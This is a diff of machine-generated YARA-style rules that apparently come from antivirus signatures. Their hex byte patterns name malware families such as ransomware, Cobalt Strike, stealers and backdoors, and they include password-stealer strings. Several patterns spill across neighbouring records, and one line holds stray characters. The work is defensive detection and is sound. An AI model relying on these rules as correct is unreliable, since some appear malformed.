"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49857,7 +51935,7 @@ rule _InfrastructureShared_4819{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4820{ +rule _InfrastructureShared_5022{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49867,7 +51945,7 @@ rule _InfrastructureShared_4820{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4821{ +rule _InfrastructureShared_5023{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49877,17 +51955,27 @@ rule _InfrastructureShared_4821{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4822{ +rule _InfrastructureShared_5024{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_77_0 = {69 3a 48 53 54 52 3a 57 69 6e 33 32 2f 69 42 72 79 74 65 2e 43 00 01 00 34 01 43 3a 5c 50 72 6f 6a 65 63 74 73 5c 54 6f 6f 6c 73 5c 47 65 6e 69 75 73 42 6f 78 43 6c 69 65 6e 74 5c 52 65 6c 65 61 73 65 5c 43 6c 69 65 6e 74 2e 70 64 62 00 00 78 5c 00 00 01 00 01 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f } //19491 + $a_77_0 = {69 3a 48 53 54 52 3a 57 69 6e 33 32 2f 69 42 72 79 74 65 2e 43 00 01 00 34 01 43 3a 5c 50 72 6f 6a 65 63 74 73 5c 54 6f 6f 6c 73 5c 47 65 6e 69 75 73 42 6f 78 43 6c 69 65 6e 74 5c 52 65 6c 65 61 73 65 5c 43 6c 69 65 6e 74 2e 70 64 62 00 00 78 5c 00 00 01 00 01 00 01 00 21 23 53 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 44 72 } //19491 condition: ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4823{ +rule _InfrastructureShared_5025{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 44 72 61 67 6f 6e 46 6f 72 63 65 2e 53 41 21 4d 54 42 00 01 00 2a 03 8b f0 31 84 95 90 01 04 42 c1 e9 90 01 01 c1 e6 90 01 01 0b ce 69 c1 90 01 04 35 90 01 04 8b c8 8b f0 81 fa 90 01 04 72 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=1 + +} +rule _InfrastructureShared_5026{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49897,7 +51985,7 @@ rule _InfrastructureShared_4823{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_4824{ +rule _InfrastructureShared_5027{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49907,7 +51995,7 @@ rule _InfrastructureShared_4824{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_4825{ +rule _InfrastructureShared_5028{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49917,7 +52005,7 @@ rule _InfrastructureShared_4825{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4826{ +rule _InfrastructureShared_5029{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49927,7 +52015,7 @@ rule _InfrastructureShared_4826{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4827{ +rule _InfrastructureShared_5030{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49937,17 +52025,7 @@ rule _InfrastructureShared_4827{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4828{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 6f 66 73 65 65 2e 41 42 21 4d 54 42 00 01 00 2f 03 83 f8 00 0f 85 b5 7c 00 00 90 01 01 b8 7e a5 40 00 68 7e a5 40 00 8d 05 00 00 00 00 50 8d 05 00 00 10 00 50 e8 9b } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=1 - -} -rule _InfrastructureShared_4829{ +rule _InfrastructureShared_5031{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49957,7 +52035,7 @@ rule _InfrastructureShared_4829{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_4830{ +rule _InfrastructureShared_5032{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -49967,7 +52045,7 @@ rule _InfrastructureShared_4830{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4831{ +rule _InfrastructureShared_5033{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -49977,7 +52055,7 @@ rule _InfrastructureShared_4831{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4832{ +rule _InfrastructureShared_5034{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -49987,7 +52065,7 @@ rule _InfrastructureShared_4832{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4833{ +rule _InfrastructureShared_5035{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -49997,7 +52075,7 @@ rule _InfrastructureShared_4833{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4834{ +rule _InfrastructureShared_5036{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -50007,29 +52085,19 @@ rule _InfrastructureShared_4834{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4835{ +rule _InfrastructureShared_5037{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " strings : - $a_77_0 = {69 3a 48 53 54 52 3a 53 65 66 6e 69 74 43 6c 69 63 6b 66 72 61 75 64 43 6f 6d 70 6f 6e 65 6e 74 00 01 00 07 01 c7 43 64 b9 01 00 00 01 00 0d 01 b9 ef d8 00 00 f7 f9 81 c2 10 27 00 00 01 00 0d 01 8a 0c 37 8b 45 10 32 0c 03 50 88 0e 43 00 00 78 5c 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 } //19491 - $a_65_1 = {6c 61 2e 4e 43 49 21 4d 54 42 00 02 00 2b 01 02 07 6f 0f 00 00 0a 28 10 00 00 0a 0c 08 03 61 0c 06 08 28 11 00 00 0a 28 12 00 00 0a 0a 07 17 58 0b 07 02 6f 13 00 00 0a 32 d5 00 00 78 5c 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d } //29806 - $a_2f_2 = {6d 61 64 65 79 2e 50 54 47 4d 21 4d 54 42 00 02 00 2e 03 ff ff 11 08 28 90 01 01 03 00 06 13 09 20 08 00 00 00 17 3a 9f ff ff ff 26 00 03 1f 10 28 90 01 01 00 00 2b 28 90 01 01 00 00 2b 0b 90 00 00 00 78 5c 00 00 02 00 02 00 01 } //18771 + $a_77_0 = {69 3a 48 53 54 52 3a 53 65 66 6e 69 74 43 6c 69 63 6b 66 72 61 75 64 43 6f 6d 70 6f 6e 65 6e 74 00 01 00 07 01 c7 43 64 b9 01 00 00 01 00 0d 01 b9 ef d8 00 00 f7 f9 81 c2 10 27 00 00 01 00 0d 01 8a 0c 37 8b 45 10 32 0c 03 50 88 0e 43 00 00 78 5c 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 6d 61 } //19491 + $a_2e_1 = {54 47 4d 21 4d 54 42 00 02 00 2e 03 ff ff 11 08 28 90 01 01 03 00 06 13 09 20 08 00 00 00 17 3a 9f ff ff ff 26 00 03 1f 10 28 90 01 01 00 00 2b 28 90 01 01 00 00 2b 0b 90 00 00 00 78 5c 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 61 72 64 6f 6d 2e 53 50 21 4d 54 42 00 02 00 30 01 06 08 58 0a 08 1b 5d 2d 1f 08 1f 0a 2f 06 06 } //25956 + $a_2b_2 = {08 1f 0a 32 0b 08 1f 14 2f 06 } //23064 Ἀ㈊ࠋᐟد condition: - ((#a_77_0 & 1)*19491+(#a_65_1 & 1)*29806+(#a_2f_2 & 1)*18771) >=1 + ((#a_77_0 & 1)*19491+(#a_2e_1 & 1)*25956+(#a_2b_2 & 1)*23064) >=1 } -rule _InfrastructureShared_4836{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4e 43 49 21 4d 54 42 00 02 00 2b 01 02 07 6f 0f 00 00 0a 28 10 00 00 0a 0c 08 03 61 0c 06 08 28 11 00 00 0a 28 12 00 00 0a 0a 07 17 58 0b 07 02 6f 13 00 00 0a } //16675 - condition: - ((#a_46_0 & 1)*16675) >=2 - -} -rule _InfrastructureShared_4837{ +rule _InfrastructureShared_5038{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -50039,7 +52107,7 @@ rule _InfrastructureShared_4837{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4838{ +rule _InfrastructureShared_5039{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -50049,7 +52117,7 @@ rule _InfrastructureShared_4838{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4839{ +rule _InfrastructureShared_5040{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -50059,17 +52127,27 @@ rule _InfrastructureShared_4839{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4840{ +rule _InfrastructureShared_5041{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " strings : - $a_6c_0 = {77 4c 69 73 74 3a 4c 69 74 74 6c 65 48 6f 70 65 00 02 00 39 02 46 00 69 00 6c 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6f 00 6e 00 90 02 06 4c 00 69 00 74 00 74 00 6c 00 65 00 20 00 48 00 6f 00 70 00 65 00 90 00 00 00 78 5c 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 48 53 54 52 3a 56 69 72 54 6f 6f 6c } //16675 + $a_6c_0 = {77 4c 69 73 74 3a 4c 69 74 74 6c 65 48 6f 70 65 00 02 00 39 02 46 00 69 00 6c 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6f 00 6e 00 90 02 06 4c 00 69 00 74 00 74 00 6c 00 65 00 20 00 48 00 6f 00 70 00 65 00 90 00 00 00 78 5c 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f } //16675 condition: ((#a_6c_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4841{ +rule _InfrastructureShared_5042{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 65 6d 63 6f 73 2e 41 56 44 53 21 4d 54 42 00 02 00 2e 03 02 11 06 11 08 6f 90 01 01 00 00 0a 13 09 11 04 11 05 8e 69 6f 90 01 01 00 00 0a 13 0b 11 0b 2c 39 00 00 11 05 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_5043{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -50079,7 +52157,7 @@ rule _InfrastructureShared_4841{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4842{ +rule _InfrastructureShared_5044{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -50089,7 +52167,7 @@ rule _InfrastructureShared_4842{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4843{ +rule _InfrastructureShared_5045{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -50099,7 +52177,7 @@ rule _InfrastructureShared_4843{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4844{ +rule _InfrastructureShared_5046{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -50109,7 +52187,17 @@ rule _InfrastructureShared_4844{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4845{ +rule _InfrastructureShared_5047{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 44 6f 6e 75 74 4c 6f 61 64 65 72 2e 41 00 01 00 19 01 8b 45 fc 8d 50 01 89 55 fc 89 c2 48 8b 45 10 48 01 d0 0f b7 00 66 89 45 f6 01 00 0f 01 0f b7 45 f6 8b 55 f8 c1 ca 08 01 d0 31 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=2 + +} +rule _InfrastructureShared_5048{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -50120,7 +52208,7 @@ rule _InfrastructureShared_4845{ ((#a_54_0 & 1)*16675+(#a_00_1 & 1)*2) >=2 } -rule _InfrastructureShared_4846{ +rule _InfrastructureShared_5049{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -50130,7 +52218,7 @@ rule _InfrastructureShared_4846{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_4847{ +rule _InfrastructureShared_5050{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -50140,7 +52228,7 @@ rule _InfrastructureShared_4847{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_4848{ +rule _InfrastructureShared_5051{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -50150,7 +52238,7 @@ rule _InfrastructureShared_4848{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_4849{ +rule _InfrastructureShared_5052{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -50160,7 +52248,7 @@ rule _InfrastructureShared_4849{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_4850{ +rule _InfrastructureShared_5053{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -50170,7 +52258,7 @@ rule _InfrastructureShared_4850{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_4851{ +rule _InfrastructureShared_5054{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -50180,7 +52268,7 @@ rule _InfrastructureShared_4851{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_4852{ +rule _InfrastructureShared_5055{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -50190,7 +52278,7 @@ rule _InfrastructureShared_4852{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_4853{ +rule _InfrastructureShared_5056{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -50200,7 +52288,7 @@ rule _InfrastructureShared_4853{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_4854{ +rule _InfrastructureShared_5057{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -50211,7 +52299,18 @@ rule _InfrastructureShared_4854{ ((#a_4c_0 & 1)*21539+(#a_90_1 & 1)*8194) >=2 } -rule _InfrastructureShared_4855{ +rule _InfrastructureShared_5058{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 45 4a 4e 5a 21 4d 54 42 00 01 00 16 02 8b cb 2b fb be 90 01 04 8a 14 0f 8d 49 01 88 51 ff 83 ee 01 90 00 01 00 0d 01 32 04 13 32 } //21539 + $a_24_1 = {88 04 13 42 00 00 78 5c 00 00 02 00 02 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 45 6d 6f 6c 64 2e 41 00 01 00 07 00 ff ff 61 c9 c2 0c 00 01 00 06 00 29 d9 } //12993 + condition: + ((#a_4c_0 & 1)*21539+(#a_24_1 & 1)*12993) >=2 + +} +rule _InfrastructureShared_5059{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -50221,7 +52320,7 @@ rule _InfrastructureShared_4855{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_4856{ +rule _InfrastructureShared_5060{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -50232,7 +52331,7 @@ rule _InfrastructureShared_4856{ ((#a_4c_0 & 1)*21539+(#a_72_2 & 1)*23296) >=2 } -rule _InfrastructureShared_4857{ +rule _InfrastructureShared_5061{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " @@ -50242,7 +52341,18 @@ rule _InfrastructureShared_4857{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_4858{ +rule _InfrastructureShared_5062{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 47 56 42 21 4d 54 42 00 01 00 12 01 c6 45 ac c4 80 74 0d a0 c4 48 ff c1 48 83 f9 0d 72 f2 02 00 12 01 44 0f b6 04 02 44 88 00 48 } //21539 + $a_49_1 = {e9 } //16525 + condition: + ((#a_4c_0 & 1)*21539+(#a_49_1 & 1)*16525) >=3 + +} +rule _InfrastructureShared_5063{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -50252,7 +52362,7 @@ rule _InfrastructureShared_4858{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_4859{ +rule _InfrastructureShared_5064{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -50262,7 +52372,7 @@ rule _InfrastructureShared_4859{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_4860{ +rule _InfrastructureShared_5065{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -50272,7 +52382,17 @@ rule _InfrastructureShared_4860{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_4861{ +rule _InfrastructureShared_5066{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_54_0 = {3a 56 4d 50 61 63 6b 21 53 30 31 00 02 00 0e 03 45 88 54 06 ff 90 0a 1a 00 83 fd 04 90 00 01 00 16 01 83 fd 0a e9 00 00 00 00 0f 8d 0d 00 00 00 83 ed 03 e9 00 00 00 00 01 00 12 01 83 fd 0a 0f 8d 0d 00 00 00 83 ed 03 e9 00 00 00 00 e9 00 00 78 5c 00 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=3 + +} +rule _InfrastructureShared_5067{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -50282,7 +52402,7 @@ rule _InfrastructureShared_4861{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_4862{ +rule _InfrastructureShared_5068{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -50292,7 +52412,7 @@ rule _InfrastructureShared_4862{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_4863{ +rule _InfrastructureShared_5069{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -50303,43 +52423,44 @@ rule _InfrastructureShared_4863{ ((#a_4c_0 & 1)*21539+(#a_53_1 & 1)*17226) >=3 } -rule _InfrastructureShared_4864{ +rule _InfrastructureShared_5070{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " strings : $a_54_0 = {3a 62 6f 74 5f 70 73 74 6f 72 65 00 01 00 0a 01 7b 50 53 54 4f 52 45 7d 3a 00 01 00 0e 01 4d 53 4e 20 50 61 73 73 77 6f 72 64 3a 00 01 00 0f 01 50 61 73 73 70 6f 72 74 2e 4e 65 74 5c 2a 00 01 00 0b 01 7b 52 45 41 4c 56 4e 43 7d 3a 00 00 00 78 5c 00 } //18467 - $a_3a_3 = {72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 6f 69 6e 61 2e 50 47 44 21 4d 54 42 00 05 00 2f 03 66 0f be 06 8b 4d e4 0f b7 d0 3b 4d e8 90 01 02 83 7d e8 90 01 01 8d 41 01 89 45 e4 8d 45 d4 0f 43 45 d4 66 89 14 48 33 d2 66 89 54 48 90 } //17748 + $a_3a_3 = {64 77 61 72 65 3a 57 69 6e 33 32 2f 4b 72 61 64 64 61 72 65 2e 61 77 35 31 00 02 00 0e 80 01 77 77 77 2e 6d 75 75 6b 2e 63 6f 2e 6b 72 01 00 0e 80 01 77 69 6e 64 6f 77 73 74 61 62 2e 70 68 70 01 00 08 80 01 73 } //19521 condition: - ((#a_54_0 & 1)*18467+(#a_3a_3 & 1)*17748) >=3 + ((#a_54_0 & 1)*18467+(#a_3a_3 & 1)*19521) >=3 } -rule _InfrastructureShared_4865{ +rule _InfrastructureShared_5071{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 6f 69 6e 61 2e 50 47 44 21 4d 54 42 00 05 00 2f 03 66 0f be 06 8b 4d e4 0f b7 d0 3b 4d e8 90 01 02 83 7d e8 90 01 01 8d 41 01 89 45 e4 8d 45 d4 0f 43 45 d4 66 89 14 } //21539 + $a_46_0 = {41 64 77 61 72 65 3a 57 69 6e 33 32 2f 4b 72 61 64 64 61 72 65 2e 61 77 35 31 00 02 00 0e 80 01 77 77 77 2e 6d 75 75 6b 2e 63 6f 2e 6b 72 01 00 0e 80 01 77 69 6e 64 6f 77 73 74 61 62 2e 70 68 70 01 00 08 80 01 73 74 61 62 2e 65 } //16675 condition: - ((#a_4c_0 & 1)*21539) >=5 + ((#a_46_0 & 1)*16675) >=4 } -rule _InfrastructureShared_4866{ +rule _InfrastructureShared_5072{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " strings : $a_69_0 = {61 73 68 2e 43 00 01 00 04 01 f0 9a b8 6f 01 00 04 01 86 67 41 6b 01 00 04 01 9c 96 78 bf 01 00 04 01 a2 a4 74 bb 01 00 04 01 f3 74 43 c5 01 00 04 01 05 4f b8 f3 01 00 04 01 58 bc 81 da 01 00 04 01 05 25 2d 7b 01 00 04 01 fe 6a 7a 69 00 00 78 5c 00 00 0a 00 0a 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 } //16675 - $a_65_1 = {6c 61 2e 50 52 45 45 32 32 30 21 4d 54 42 00 0a 00 26 03 11 03 11 06 8e 69 90 02 1e 26 90 02 0f 8e 69 8d 0d 00 00 01 90 02 1e 26 90 02 0f 28 90 02 0f 38 31 ff ff ff 90 00 00 00 78 5c 00 00 0b 00 0b 00 04 00 21 23 76 6f 6c 6f 64 69 6d 69 72 5f 65 78 70 } //29806 - $a_74_2 = {34 00 0a 00 0d 03 b2 02 00 00 90 02 40 6a 02 00 00 90 00 0a 00 0e 03 b2 02 00 00 75 90 02 91 6a 02 00 00 90 00 0a 00 0c 03 b2 02 75 09 90 02 40 6a 02 75 90 00 01 00 07 01 49 73 4d 65 6e 75 00 00 00 78 5c 00 00 0f 00 0f 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 6f 6f 74 72 61 73 68 2e 42 } //28524 - $a_6d_4 = {73 69 73 2e 64 6c 6c 05 00 0e 01 43 6d 64 5f 50 69 70 65 43 6d 64 4d 67 72 05 00 11 01 49 6f 5f 52 65 73 74 61 72 74 4e 65 6d 65 73 69 73 00 00 78 5c 00 00 1e 00 1e 00 03 00 21 23 48 53 54 52 3a 57 6f 72 6d 3a 57 69 6e 33 32 2f 43 6f 6e 66 69 63 6b 65 72 2e 42 2e 31 00 0a 00 0e 01 56 69 72 74 75 61 6c } //19969 - $a_74_5 = {63 74 0a 00 0c 01 56 69 72 74 75 61 6c 41 6c 6c 6f 63 0a 00 0e 01 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 00 00 78 5c 00 00 1e 00 1e 00 03 00 21 23 54 45 4c 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 50 6c 61 69 6e 73 74 2e 42 21 64 68 61 00 0a 00 09 01 57 67 75 77 6e 75 75 42 29 0a 00 0f 01 47 77 6f 70 25 4e 68 76 } //29264 - $a_63_6 = {69 3f 0a 00 0a 01 56 75 64 6b 6a 40 27 82 6c 20 00 00 78 5c 00 00 64 00 64 00 01 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 53 6e 61 67 4c 69 6e 65 2e 42 21 64 68 61 00 64 00 2c 43 8d 04 3b 8a 08 88 90 01 02 0f 90 01 04 0f b6 c9 33 d1 88 90 01 02 6a 01 8d 90 01 02 52 50 a1 90 01 04 8b 88 10 } //29549 + $a_65_1 = {6c 61 2e 50 52 45 45 32 32 30 21 4d 54 42 00 0a 00 26 03 11 03 11 06 8e 69 90 02 1e 26 90 02 0f 8e 69 8d 0d 00 00 01 90 02 1e 26 90 02 0f 28 90 02 0f 38 31 ff ff ff 90 00 00 00 78 5c 00 00 0a 00 0a 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 } //29806 + $a_42_2 = {72 79 73 2e 5a 43 57 21 4d 54 42 00 0a 00 30 03 01 25 47 09 20 00 01 00 00 5d d2 61 d2 52 07 09 8f 90 01 01 00 00 01 25 47 09 20 00 01 00 00 } //19529 + $a_d2_3 = {09 17 58 0d 09 07 8e 69 32 ce 90 00 00 00 78 5c 00 00 0a 00 0a 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 44 41 21 4d 54 42 00 0a 00 2e 03 02 8e 69 8d 90 01 04 0a 03 6f 90 01 04 0b 16 0c 2b 15 06 08 02 08 91 03 08 07 5d 6f 90 01 04 61 d2 9c 08 } //-11683 + $a_08_4 = {02 8e 69 32 e5 90 00 00 00 78 5c 00 } //22551 + $a_6f_7 = {69 6d 69 72 5f 65 78 70 6c 6f 69 74 2e 34 00 0a 00 0d 03 b2 02 00 00 90 02 40 6a 02 00 00 90 00 0a 00 0e 03 b2 02 00 00 75 90 02 91 6a 02 00 00 90 00 0a 00 0c 03 b2 02 75 09 90 02 40 6a 02 75 90 00 01 00 07 01 49 73 4d 65 6e 75 00 00 00 78 5c 00 00 0f 00 0f 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f } //28534 + $a_74_8 = {61 73 68 2e 42 00 05 00 0b 01 4e 65 6d 65 73 69 73 2e 64 6c 6c 05 00 0e 01 43 6d 64 